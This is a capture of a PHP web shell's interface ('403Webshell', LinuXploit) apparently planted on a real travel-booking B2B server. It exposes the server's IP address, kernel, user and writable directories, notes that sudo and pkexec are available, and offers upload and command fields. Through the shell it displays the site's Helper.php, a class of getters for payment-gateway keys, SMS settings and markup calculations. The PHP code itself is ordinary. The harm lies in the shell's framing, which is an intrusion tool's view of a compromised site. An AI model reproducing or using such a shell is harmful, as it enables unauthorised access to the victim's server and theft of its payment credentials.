403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2b.hellogtx.com/library/Catabatic/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2b.hellogtx.com/library/Catabatic/Helper.php
<?php

class Catabatic_Helper
{

    static public function findUrl($cityId, $dealId, $headline)
    {
        $browse = array("_", "~", "'", "@", "#", "$", "%", "^", "&", "*", "/", ";", ",", "|", "(", ")", "/", "\\");
        $page_alias_name = strtolower(str_replace(" ", "-", str_replace($browse, "", substr($headline, 0, 50))));
        $page = $page_alias_name . "-" . "-" . $cityId . ".html";
        return $page;
    }

    static public function getSiteUrl()
    {

        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["siteUrl"];
    }

    static public function getNoImage($type = '')
    {

        $finalpath  = '';
        $img        = (isset($type) && !empty($type)) ? $type : '';

        $options    = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');

        $finalpath .= $options["siteUrl"];
        $finalpath .= "public/images/icon-$img.jpg";

        return $finalpath;
    }


    static public function getAgencyId()
    {

        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["gtxagencysysid"];
    }
    static public function getAgencyUseId()
    {

        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["gtxagentsysid"];
    }

    static public function gtxBtoBsite()
    {

        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["gtxBtoBsite"];
    }


    static public function getPackageType($packageId)
    {
        switch ($packageId) {
            case '1': {
                    $val = "Budget";
                    break;
                }
            case '2': {
                    $val = "Standard";
                    break;
                }
            case '3': {
                    $val = "Deluxe";
                    break;
                }
            case '4': {
                    $val = "Luxury";
                    break;
                }
            case '5': {
                    $val = "Premium";
                    break;
                }
            default: {
                    $val = " ";
                    break;
                }
        }
        return $val;
    }


    static public function getMealPlanType($name)
    {
        $CONST_MEAL_PLAN_ARR = unserialize(CONST_MEAL_PLAN_ARR);
        return (array_search($name, $CONST_MEAL_PLAN_ARR));
    }

    /*****************************************  ATOM PAYMENT ********************/

    static public function getATOMPAYMENTURL()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["ATOMPAYMENTURL"];
    }
    static public function getATOMLOGIN()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["ATOMLOGIN"];
    }
    static public function getATOMPASS()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["ATOMPASS"];
    }
    static public function getATOMPRODID()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["ATOMPRODID"];
    }
    static public function getReqHashKey()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["REQHASHKEY"];
    }
    static public function getRespHashKey()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["RESPHASHKEY"];
    }

    static public function getAesRequestKey()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["AESREQUESTKEY"];
    }
    static public function getAesRequestIv()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["AESREQUESTIV"];
    }

    static public function getAesResponseKey()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["AESRESPONSEKEY"];
    }
    static public function getAesResponseIv()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["AESRESPONSEIV"];
    }

    /*****************************************END ATOM PAYMENT ********************/

    /*****************Start CASHFEE****************************************/

    static public function getCashFeePaymentURL()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["CASHFEEPAYMENTURL"];
    }
    static public function getCashFeeAppId()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["CASHFEEAPPID"];
    }
    static public function getCashFeeSecretKey()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["CASHFEESECRETKEY"];
    }
    static public function getCurrentPaymentGateway()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        if (isset($options["CURRENTPAYMENTGATEWAY"]) && $options["CURRENTPAYMENTGATEWAY"] != "") {
            return $options["CURRENTPAYMENTGATEWAY"];
        } else {
            return "ATOM";
        }
    }

    static public function getPaymentMerchantId()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["PaymentMerchantId"];
    }
    static public function getPaymentSecretPwd()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["PaymentSecretPwd"];
    }
    static public function getCCAVENUEWorkingKey()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return isset($options["CCAVENUEWorkingKey"])?$options["CCAVENUEWorkingKey"]:'';
    }

    /*****************END CASHFEE******************************************/
    static public function getSeoName($headline)
    {
        //echo $headline;
        $browse = array("_", "~", "'", "@", "#", "$", "%", "^", "&", "*", "/", ";", ",", "|", "(", ")", "/", "\\");
        $page_alias_name = strtolower(str_replace(" ", "-", str_replace($browse, "-", substr($headline, 0, 50))));
        return str_replace(['---', '--'], '-', $page_alias_name);
    }
    static public function calculateMarkup($price, $markupDetailsArray = array(), $totalPax = 0, $serviceType = 5)
    {
        $markuptype = (isset($_SESSION['User']['data']['MarkupType']) && !empty($_SESSION['User']['data']['MarkupType'])) ? trim($_SESSION['User']['data']['MarkupType']) : 0;
        $markup = (isset($_SESSION['User']['data']['Markup']) && !empty($_SESSION['User']['data']['Markup'])) ? trim($_SESSION['User']['data']['Markup']) : 0;
        
        if (empty($markup) || $serviceType == 1) {
            $markuptype = isset($markupDetailsArray['MarkType']) ? $markupDetailsArray['MarkType'] : 0;
            $markup = isset($markupDetailsArray['MarkValue']) ? $markupDetailsArray['MarkValue'] : 0;
        }
        if ($markup > 0 || $markuptype > 0) {
            if ($markuptype == 2) {
                $totalPrice = (float)$price + (float)($price * ((int)$markup / 100));
            } else {
                if ($totalPax > 0) {
                    $totalPrice =  (float)$price +  (float)($markup * $totalPax);
                } else {
                    $totalPrice =  (float)$price +  (float)$markup;
                }
            }
        } else {
            $totalPrice = (float)$price;
        }

        return (float)$totalPrice;
    }
    static public function calculateMarkupByItemSourceType($price, $markup, $totalPax = 0, $ItemSourceType = 1, $ReturnType = 'total')
    {
        $B2bAgencyMarkup = $_SESSION['User']['B2bAgencyMarkup'];
        if($ItemSourceType > 0){
            foreach ($B2bAgencyMarkup as $mKey => $mValue) {
                if($ItemSourceType == $mValue['ItemSourceType']){
                    $MarkupType = $mValue['MarkUpType'];
                    $Markup = $mValue['MarkUpValue'];
                }  
            } 
        }else{
            $MarkupType = $_SESSION['User']['data']['MarkupType'];
            $Markup = $_SESSION['User']['data']['Markup'];
        }
            
        $agencyMarkupType = $MarkupType;
        $agencyMarkup = $Markup;
        if ($agencyMarkupType == 4) {
            $agencyMarkupValue = ((int) ($markup) * ((int) $agencyMarkup / 100));
        } else if ($agencyMarkupType == 3) {
            $agencyMarkupValue = ((int) ($price) * ((int) $agencyMarkup / 100));
        } else if ($agencyMarkupType == 2) {
            $agencyMarkupValue = ((int) ($price + $markup) * ((int) $agencyMarkup / 100));
        } else {
            if ($totalPax > 0) {
                $agencyMarkupValue =  (float)($agencyMarkup * $totalPax);
            } else {
                $agencyMarkupValue = (int) $agencyMarkup;
            }
            
        }
        
        if($ReturnType == 'onlymarkup'){
            $totalPrice = $agencyMarkupValue;
        }else{
            $totalPrice = $price + $markup + $agencyMarkupValue;
        }
        
        return (float)$totalPrice;
    }
    static public function calculateReturnOnlyMarkup($price, $markupDetailsArray = array(), $totalPax = 0)
    {

        $markuptype = (isset($_SESSION['User']['data']['MarkupType']) && !empty($_SESSION['User']['data']['MarkupType'])) ? trim($_SESSION['User']['data']['MarkupType']) : 0;
        $markup = (isset($_SESSION['User']['data']['Markup']) && !empty($_SESSION['User']['data']['Markup'])) ? trim($_SESSION['User']['data']['Markup']) : 0;

        if (empty($markup) && empty($markuptype)) {
            $markuptype = isset($markupDetailsArray['MarkType']) ? $markupDetailsArray['MarkType'] : 0;
            $markup = isset($markupDetailsArray['MarkValue']) ? $markupDetailsArray['MarkValue'] : 0;
        }
        if ($markup > 0 || $markuptype > 0) {
            if ($markuptype == 2) {
                $totalPrice = ((float)$price * ((float)$markup / 100));
            } else {
                if ($totalPax > 0) {
                    $totalPrice =  (float)($markup * $totalPax);
                } else {
                    $totalPrice =  (float)$markup;
                }
            }
        } else {
            $totalPrice = 0;
        }

        return $totalPrice;
    }
    static public function calculateReverseMarkup($totalPrice, $markupDetailsArray = array(), $totalPax = 0)
    {

        $markuptype = (isset($_SESSION['User']['data']['MarkupType']) && !empty($_SESSION['User']['data']['MarkupType'])) ? trim($_SESSION['User']['data']['MarkupType']) : 0;
        $markup = (isset($_SESSION['User']['data']['Markup']) && !empty($_SESSION['User']['data']['Markup'])) ? trim($_SESSION['User']['data']['Markup']) : 0;

        if (empty($markup) && empty($markuptype)) {
            $markuptype = isset($markupDetailsArray['MarkType']) ? $markupDetailsArray['MarkType'] : 0;
            $markup = isset($markupDetailsArray['MarkValue']) ? $markupDetailsArray['MarkValue'] : 0;
        }


        if ($markup > 0 || $markuptype > 0) {
            if ($markuptype == 2) {
                $price = 100 * $totalPrice / ($markup + 100);
            } else {
                if ($totalPax > 0) {
                    $price =  (int)$totalPrice -  (int)$markup * $totalPax;
                } else {
                    $price =  (int)$totalPrice -  (int)$markup;
                }
            }
        } else {
            $price = 0;
        }

        return $price;
    }
    static public function getDefaultTaxSetting($planType)
    {

        $getTaxSettingDetail =  isset($_SESSION['User']['getTaxSettingDetail']) ? $_SESSION['User']['getTaxSettingDetail'] : array();

        foreach ($getTaxSettingDetail as $key => $value) {
            if ($value['PlanType'] == $planType) {
                return $value;
            }
        }
        return false;
    }

    static public function resizeImages($orignalFolderName, $newFolderName, $fileName, $width, $height)
    {
        if (!file_exists($newFolderName)) {
            mkdir($newFolderName, 0777, true);
        }
        @copy($orignalFolderName . '/' . $fileName, $newFolderName . "/" . $fileName); // copy uploaded file into this location directory
        $objImageResize = new Catabatic_Imageresize($newFolderName . '/' . $fileName);
        $objImageResize->resizeImage($width, $height, 'exact'); // param : width , height , (exact|portrait|landscape|auto|crop)
        $objImageResize->saveImage($newFolderName . '/' . $fileName);
    }
    static public function getEncrytInputKey()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["INPUTKEY"];
    }
    static public function getEncrytBlockKey()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["BLOCKSIZE"];
    }
    static public function getEncrytIV()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["IV"];
    }
    static public function getSMSURL()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["SMSURL"];
    }
    static public function getSMSMETHOD()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["SMSMETHOD"];
    }
    static public function getSMSAPIKEY()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["SMSAPIKEY"];
    }
    static public function getSMSSENDER()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["SMSSENDER"];
    }
    static public function getSMSFORMAT()
    {
        $options = Zend_Controller_Front::getInstance()->getParam('bootstrap')->getOption('bootstrap');
        return $options["SMSFORMAT"];
    }
    static public function calculateAgencyMarkup($price, $MarkUpType = 1, $MarkUp = 0)
    {
        // echo "<pre>";print_r($MarkUp);die('d');
        if ($MarkUpType == 2) {
            $totalPrice = ((int)$price * ((int)$MarkUp / 100));
        } else {
            $totalPrice =  (int)$MarkUp;
        }

        return round($totalPrice, 2);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit